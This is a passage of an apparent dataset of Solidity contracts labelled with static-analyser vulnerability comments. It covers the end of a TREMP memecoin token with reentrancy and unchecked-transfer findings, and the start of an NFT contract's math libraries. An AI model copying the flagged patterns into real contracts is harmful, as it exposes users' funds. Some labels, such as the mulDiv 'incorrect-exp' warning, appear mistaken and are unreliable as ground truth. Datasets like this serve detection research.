_lastSellBlock;\n\t// WARNING Optimization Issue (constable-states | ID: 3d7c860): TREMP._preventSwapBefore should be constant \n\t// Recommendation for 3d7c860: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 15;\n\t// WARNING Optimization Issue (constable-states | ID: deb445e): TREMP._lowerTaxAt should be constant \n\t// Recommendation for deb445e: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerTaxAt = 25;\n bool private _inSwap;\n\n uint256 public buyFee;\n uint256 public sellFee;\n\n mapping(address => bool) private _excludedFromLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57677c6): TREMP.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 57677c6: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Doland Tremp\", \"TREMP\") {\n uint256 totalSupply = 420690000000 * 1e9;\n\n feeReceiver = 0x795a4E7109F445e11caBaa93DcAc552D48FAF761;\n buyFee = 0;\n sellFee = 0;\n\n _excludedFromLimits[feeReceiver] = true;\n _excludedFromLimits[msg.sender] = true;\n _excludedFromLimits[address(this)] = true;\n _excludedFromLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n _approve(msg.sender, address(_router), totalSupply);\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f007209): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f007209: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 20237eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 20237eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6138ea5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6138ea5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = _excludedFromLimits[from] || _excludedFromLimits[to];\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n if (_buyCount <= _lowerTaxAt) _buyCount++;\n if (_buyCount == _lowerTaxAt) {\n buyFee = 0;\n sellFee = 0;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= swapbackMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n require(_sellCount < 3, \"Only 3 sells per block!\");\n _inSwap = true;\n\t\t\t// reentrancy-events | ID: f007209\n\t\t\t// reentrancy-no-eth | ID: 20237eb\n\t\t\t// reentrancy-eth | ID: 6138ea5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, swapbackMax))\n );\n\t\t\t// reentrancy-no-eth | ID: 20237eb\n _inSwap = false;\n uint256 contractETHBalance = address(this).balance;\n\t\t\t// reentrancy-events | ID: f007209\n\t\t\t// reentrancy-eth | ID: 6138ea5\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\t\t\t// reentrancy-eth | ID: 6138ea5\n _sellCount++;\n\t\t\t// reentrancy-eth | ID: 6138ea5\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFee : sellFee;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: f007209\n\t\t\t\t// reentrancy-eth | ID: 6138ea5\n super._transfer(from, address(this), fees);\n amount -= fees;\n }\n }\n\t\t// reentrancy-events | ID: f007209\n\t\t// reentrancy-eth | ID: 6138ea5\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n _approve(address(this), address(_router), tokenAmount);\n\t\t// reentrancy-events | ID: f007209\n\t\t// reentrancy-no-eth | ID: 20237eb\n\t\t// reentrancy-eth | ID: 6138ea5\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f007209\n\t\t// reentrancy-eth | ID: 6138ea5\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c7580e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c7580e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71f8d99): TREMP.startTrading() ignores return value by _router.addLiquidityETH{value 500000000000000000}(address(this),336552000000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for 71f8d99: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(\n msg.sender,\n address(this),\n totalSupply() - (totalSupply() * 10) / 100\n );\n\t\t// reentrancy-benign | ID: 0c7580e\n\t\t// unused-return | ID: 71f8d99\n _router.addLiquidityETH{value: 500000000000000000}(\n address(this),\n 336552000000000000000,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 0c7580e\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 766fb76): TREMP.setSwapFees(uint256,uint256) should emit an event for buyFee = newBuyFee sellFee = newSellFee \n\t// Recommendation for 766fb76: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 0 && newSellFee <= 0, \"New fee must be lower.\");\n\t\t// events-maths | ID: 766fb76\n buyFee = newBuyFee;\n\t\t// events-maths | ID: 766fb76\n sellFee = newSellFee;\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8c61a13): TREMP.updateSwapback(uint256,uint256) should emit an event for swapbackMax = maxAmount swapbackMin = minAmount \n\t// Recommendation for 8c61a13: Emit an event for critical parameter changes.\n function updateSwapback(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 8c61a13\n swapbackMax = maxAmount;\n\t\t// events-maths | ID: 8c61a13\n swapbackMin = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: bae01bb): TREMP.transferStuckTokens(IERC20) ignores return value by token.transfer(feeReceiver,token.balanceOf(address(this)))\n\t// Recommendation for bae01bb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 63ad48f): TREMP.transferStuckTokens(IERC20) ignores return value by token.transfer(address(0xdead),token.balanceOf(address(this)))\n\t// Recommendation for 63ad48f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckTokens(IERC20 token) external onlyOwner {\n if (address(token) == address(this))\n\t\t\t// unchecked-transfer | ID: 63ad48f\n token.transfer(address(0xdead), token.balanceOf(address(this)));\n\t\t// unchecked-transfer | ID: bae01bb\n else token.transfer(feeReceiver, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10573.sol",
"size_bytes": 18407,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nlibrary ERC721Utils {\n function checkOnERC721Received(\n address operator,\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal {\n if (to.code.length > 0) {\n try\n IERC721Receiver(to).onERC721Received(\n operator,\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n if (retval != IERC721Receiver.onERC721Received.selector) {\n revert IERC721Errors.ERC721InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert IERC721Errors.ERC721InvalidReceiver(to);\n } else {\n assembly (\"memory-safe\") {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a4e145): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4a4e145: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5a4a63f): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5a4a63f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: aed77e9): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for aed77e9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2fdc755): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2fdc755: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8c0e26f): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 8c0e26f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c2f5b88): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for c2f5b88: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4ee21ac): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 4ee21ac: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0cf29bf): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0cf29bf: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 92f2d7e): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 92f2d7e: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 4a4e145\n\t\t\t\t// divide-before-multiply | ID: 5a4a63f\n\t\t\t\t// divide-before-multiply | ID: aed77e9\n\t\t\t\t// divide-before-multiply | ID: 2fdc755\n\t\t\t\t// divide-before-multiply | ID: c2f5b88\n\t\t\t\t// divide-before-multiply | ID: 4ee21ac\n\t\t\t\t// divide-before-multiply | ID: 0cf29bf\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 8c0e26f\n prod0 := 